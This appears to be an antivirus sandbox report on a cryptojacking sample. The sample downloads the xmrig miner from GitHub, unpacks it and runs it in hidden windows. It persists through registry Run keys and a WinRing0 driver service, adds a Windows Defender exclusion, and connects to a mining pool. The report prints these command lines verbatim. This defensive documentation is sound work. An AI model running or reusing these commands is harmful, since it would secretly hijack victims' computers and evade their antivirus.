Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] '<File name>.exe' = '<Full path to file>'
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] '<File name>.exe_RunAsAdmin' = '1'
Sets the following service settings
- [HKLM\SYSTEM\CurrentControlSet\Services\WinRing0_1_2_0] 'ImagePath' = '%HOMEPATH%\Documents\xmrig\xmrig-6.20.0\WinRing0x64.sys'
Creates the following services
- 'WinRing0_1_2_0' %HOMEPATH%\Documents\xmrig\xmrig-6.20.0\WinRing0x64.sys
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' "Add-MpPreference -ExclusionPath" %USERPROFILE%\Documents\xmrig\xmrig-6.20.0\xmrig.exe
Modifies file system
Creates the following files
- %TEMP%\_mei000006242\vcruntime140.dll
- %TEMP%\_mei000006242\_bz2.pyd
- %TEMP%\_mei000006242\_ctypes.pyd
- %TEMP%\_mei000006242\_decimal.pyd
- %TEMP%\_mei000006242\_hashlib.pyd
- %TEMP%\_mei000006242\_lzma.pyd
- %TEMP%\_mei000006242\_socket.pyd
- %TEMP%\_mei000006242\_ssl.pyd
- %TEMP%\_mei000006242\_zstd.pyd
- %TEMP%\_mei000006242\base_library.zip
- %TEMP%\_mei000006242\libcrypto-3.dll
- %TEMP%\_mei000006242\libffi-8.dll
- %TEMP%\_mei000006242\libssl-3.dll
- %TEMP%\_mei000006242\python314.dll
- %TEMP%\_mei000006242\select.pyd
- %TEMP%\_mei000006242\unicodedata.pyd
- %HOMEPATH%\documents\xmrig.zip
- %HOMEPATH%\documents\xmrig\xmrig-6.20.0\benchmark_10m.cmd
- %HOMEPATH%\documents\xmrig\xmrig-6.20.0\benchmark_1m.cmd
- %HOMEPATH%\documents\xmrig\xmrig-6.20.0\config.json
- %HOMEPATH%\documents\xmrig\xmrig-6.20.0\pool_mine_example.cmd
- %HOMEPATH%\documents\xmrig\xmrig-6.20.0\rtm_ghostrider_example.cmd
- %HOMEPATH%\documents\xmrig\xmrig-6.20.0\sha256sums
- %HOMEPATH%\documents\xmrig\xmrig-6.20.0\solo_mine_example.cmd
- %HOMEPATH%\documents\xmrig\xmrig-6.20.0\start.cmd
- %HOMEPATH%\documents\xmrig\xmrig-6.20.0\winring0x64.sys
- %HOMEPATH%\documents\xmrig\xmrig-6.20.0\xmrig.exe
Network activity
Connects to
- 'gi##ub.com':443
- 'oc##.#ectigo.com':80
- 're#########ets.githubusercontent.com':443
- 'x1.#.lencr.org':80
- 'yr.#.lencr.org':80
- 'yr#.#.lencr.org':80
- 'xm#####.nanopool.org':10300
TCP
HTTP GET requests
- http://oc##.#ectigo.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3DhJWomGbOJFU%2Fpy58BaOB6aMCwQUF5moBMFv5C1wqAoQPQPT6Rq4JmMCED4dYCa0sK6iedyi77vO2Cs%3D
- http://yr.#.lencr.org/
- http://yr#.#.lencr.org/57.crl
Other
- 'gi##ub.com':443
- 're#########ets.githubusercontent.com':443
- 'xm#####.nanopool.org':10300
UDP
- DNS ASK gi##ub.com
- DNS ASK oc##.#ectigo.com
- DNS ASK re#########ets.githubusercontent.com
- DNS ASK x1.#.lencr.org
- DNS ASK yr.#.lencr.org
- DNS ASK yr#.#.lencr.org
- DNS ASK xm#####.nanopool.org
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Expand-Archive -Path %HOMEPATH%\Documents\xmrig.zip -DestinationPath %HOMEPATH%\Documents\xmrig -Force"
- '%HOMEPATH%\documents\xmrig\xmrig-6.20.0\xmrig.exe'
Restarts the analyzed sample
Executes the following
- '<SYSTEM32>\cmd.exe' /c "curl -o %USERPROFILE%\Documents\xmrig.zip -L https://github.com/xmrig/xmrig/releases/download/v6.20.0/xmrig-6.20.0-msvc-win64.zip"
- '<SYSTEM32>\curl.exe' -o %HOMEPATH%\Documents\xmrig.zip -L https://github.com/xmrig/xmrig/releases/download/v6.20.0/xmrig-6.20.0-msvc-win64.zip
- '<SYSTEM32>\cmd.exe' /c "powershell -Command "Expand-Archive -Path %USERPROFILE%\Documents\xmrig.zip -DestinationPath %USERPROFILE%\Documents\xmrig -Force""
- '<SYSTEM32>\cmd.exe' /c "%USERPROFILE%\Documents\xmrig\xmrig-6.20.0\xmrig.exe"
- '<SYSTEM32>\cmd.exe' /c "curl -o %USERPROFILE%\Documents\xmrig.zip -L https://github.com/xmrig/xmrig/releases/download/v6.20.0/xmrig-6.20.0-msvc-win64.zip"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "powershell -Command "Expand-Archive -Path %USERPROFILE%\Documents\xmrig.zip -DestinationPath %USERPROFILE%\Documents\xmrig -Force""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "%USERPROFILE%\Documents\xmrig\xmrig-6.20.0\xmrig.exe"' (with hidden window)
